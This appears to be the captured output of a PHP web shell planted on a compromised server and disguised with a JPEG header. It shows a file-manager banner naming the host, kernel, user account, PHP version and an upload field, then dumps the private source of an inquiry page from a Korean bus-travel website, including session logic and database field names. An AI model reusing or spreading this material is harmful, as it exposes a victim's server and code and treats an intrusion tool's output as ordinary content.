ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/page/ |
Upload File : |
<?php include $_SERVER['DOCUMENT_ROOT'].'/include/base.php'; include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php'; $wr_id = (int) $_GET['wr_id']; $inquiry_data = get_inquiry_contents($wr_id); $comment_data = array(); $comment_data = get_inquiry_comment_contents($wr_id); // p($comment_data); $is_mine = false; //자신의 글인지 확인 if($inquiry_data['mb_id'] == $_SESSION['web_member']['mb_id']){ $is_mine = true; } //조회수 추가 set_inquiry_read_hit($wr_id); $ins_dt = explode(" ", $inquiry_data['ins_dt']); $ins_dt = $ins_dt[0]; ?> <!DOCTYPE html> <html lang="en"> <head> <?php $page_title = _e("문의하기"); include $_SERVER['DOCUMENT_ROOT'].'/include/meta_data.php'; ?> <style> /* 리뷰 작성 정보 영역*/ .review-writer-info{clear:both;width:100%;font-size:13px;padding:13px 0;border-bottom:1px solid #ccc;margin:0 auto;height:15px} .review-writer-info .review-writer-name{float:left;margin-left:20px} .review-writer-info .review-writing-time{float:right;} .review-writer-info .review-hit{float:right;margin-left:20px;margin-right:20px} #comment_area{clear:both;float:left;width:100%;margin-top:20px;margin-bottom: 40px;} #comment_area div{float:left} #comment_area .comment_label{width:100px;text-align:center} #comment_area .comment_input_area{width:82%;border-left: 1px solid #ccc; padding: 0 0 0 10px;min-height:50px} #comment_area .comment_input_area textarea{width:100%;border-radius:5px;border:none;height:68px;background:#eee;padding:1%} #comment_area .comment_button_area{float:right} #comment_area .comment_button_area input{background:red;color:#fff;border:none;padding:0px 20px;border-radius:5px;min-height:87px} #comment_comments_area, #comment_comments_area ul, #comment_comments_area ul li{clear:both;float:left;width:100%;_background:skyblue;padding:3px 0} #comment_comments_area ul li * {float:left} #comment_comments_area ul li .comment_name_label{float:left;width:120px;padding:0;text-align:center} #comment_comments_area ul li .comment_name_label p{width:100%;text-align:center} #comment_comments_area ul li .comment_contents_area{border-left:1px solid #ccc;min-height:40px} #comment_comments_area ul li .comment_contents_area .comment_contents{padding:0 0 0 10px;font-size:14px} #comment_comments_area ul li .comment_contents_area .comments_del_btn, #comment_comments_area ul li .comment_contents_area .comments_modify_btn{ background: #ccc; border-radius: 7px; padding: 2px; } #comment_comments_area ul li .comment_contents_area .comments_del_btn i, #comment_comments_area ul li .comment_contents_area .comments_modify_btn i{ font-size:10px; color:#fff; /*background:#ccc*/ } #comment_comments_area ul li .comment_contents_area .comments_del_btn{position: absolute;right: -21px;top: 0;} #comment_comments_area ul li .comment_contents_area .comments_del_btn i{} #comment_comments_area ul li .comment_contents_area .comments_modify_btn{margin-left:5px;margin-right:5px} #comment_comments_area ul li .comment_contents_area .comments_modify_btn i{} #comment_comments_area ul li .comment_contents_date{font-size: 12px;margin-top: 2px;float: right;margin-left: 10px;position:relative} #comment_comments_area ul li{margin-bottom:10px;border-bottom:1px solid #ccc;padding-bottom:10px} /* * 버튼 사이즈 조절 * 아래 코드는 여기에만 있어야함. */ @media screen and (max-width: 600px){ .notice-btn{width:80px !important;font-size:14px;line-height:45px;height:unset} } </style> <script> $(function(){ $('#del_btn').click(function(){ if(confirm('삭제하시겠습니까?')){ location.href = '/process/review_update.php?mode=del&wr_id=<?=$inquiry_data['MSEQ']?>'; }else{ return false; } }) $('.comments_del_btn').click(function(){ parent_contents_id = $(this).attr('parent_contents_id'); contents_id = $(this).attr('contents_id'); if(parent_contents_id && contents_id){ if(confirm('댓글을 삭제하시겠습니까?')){ location.href = '/process/review_update.php?mode=comment_del&parent_contents_id='+parent_contents_id+'&contents_id='+contents_id; } }else{ alert('댓글 삭제에 문제가 발생했습니다.'); } }) }) /*$(window).load(function(){ $('#del_btn').click(function(){ if(confirm('삭제하시겠습니까?')){ location.href = '/process/review_update.php?mode=del&wr_id=<?=$inquiry_data['wr_id']?>'; }else{ return false; } }) })*/ </script> </head> <body> <?php include $_SERVER['DOCUMENT_ROOT'].'/include/header.php'; ?> <!--서브페이지 배너--> <div class="sub-banner"> <img class="pc-ban" src="/img/sub/sub-ban-notice.jpg"> <img class="mo-ban" src="/img/sub/sub-ban-mo-notice.jpg"> </div> <!--페이지 경로 안내--> <div class="sub-page"> <p class="inner"><?=_e('홈')?> > <?=_e('고객센터')?> > <b><?=_e('문의하기')?></b></p> </div> <!--공지사항--> <section id="notice-read-section" class="section-padding" data-aos="fade-up" data-aos-duration="2000"> <div class="inner"> <h1 class="sub-main-tit"><?=_e('문의하기')?><div class="tit-line"></div></h1> <div class="notice-read-wrap"> <ul> <li class="notice-read-head"> <div class="read-subject"><?=$inquiry_data['MTITLE']?></div> </li> <li class="review-writer-info"> <p class="review-writer-name"><?=_e('작성자')?> : <?=$inquiry_data['MEM_NM']?></p> <p class="review-hit"><?=_e('조회수')?> : <?=number_format($inquiry_data['HR_CODE'])?><?=(($lang == 'ko') ? '회' : '')?></p> <p class="review-writing-time"><?=_e('작성일')?> : <?php $review_writing_time = date("Y-m-d", strtotime($inquiry_data['INSDT'])); echo str_replace("-",".",$review_writing_time); ?> </p> </li> <li class="notice-read-content"> <div class="read-content-box"><?=nl2br(stripcslashes($inquiry_data['MCONT']))?></div> </li> </ul> <?php if(count($comment_data) > 0){ ?> <div id="comment_comments_area"> <ul> <?php foreach($comment_data as $item){ // p($item); $comment_datetime = date("y.m.d",strtotime($item['INSDT'])); ?> <li> <div class="comment_name_label"> <p><?=$item['CMEM_NM']?></p> </div> <div class="comment_contents_area"> <div class="comment_contents"><?=nl2br($item['CCONT'])?> <div class="comment_contents_date"> <?=$comment_datetime?> </div> </div> <?php //자신이 작성한 댓글인 경우에 표시 if($item['mb_id'] == $_SESSION['web_member']['mb_id']){ ?> <!-- <div class="comments_modify_btn">--> <!-- <i class="xi-pen"></i>--> <!-- </div>--> <!-- <a href="/process/review_update.php?mode=comment_del&parent_contents_id=--><?php //=$wr_id?><!--&contents_id=--><?php //=$item['wr_id']?><!--">--> <!-- </a>--> <?php } ?> </div> </li> <?php } ?> </ul> </div> <?php } /* * 리뷰 작성 기능 * <form method="post" action="/process/review_update.php"> <input type="hidden" name="parent_id" value="<?=$wr_id?>" /> <input type="hidden" name="mode" value="insert_comment" /> <div id="comment_area"> <div class="comment_label"> <p>댓글달기</p> </div> <div class="comment_input_area"> <textarea name="comment" required></textarea> </div> <div class="comment_button_area"> <input type="submit" value="작성" /> </div> </div> </form>*/ ?> </div> <div class="notice-read-button"> <a href="/page/inquiry-list.html"> <button class="notice-btn toList"><?=_e('목록')?></button> </a> <?php if($is_mine){ ?> <a href="/page/inquiry-write.html?wr_id=<?=$inquiry_data['wr_id']?>"> <button class="notice-btn modify"><?=_e('수정')?></button> </a> <!-- <a href="" id="del_btn">--> <button class="notice-btn delete" id="del_btn"><?=_e('삭제')?></button> <!-- </a>--> <?php } ?> </div> </div> </section> <?php include $_SERVER['DOCUMENT_ROOT'].'/include/footer.php'; ?> </body> </html>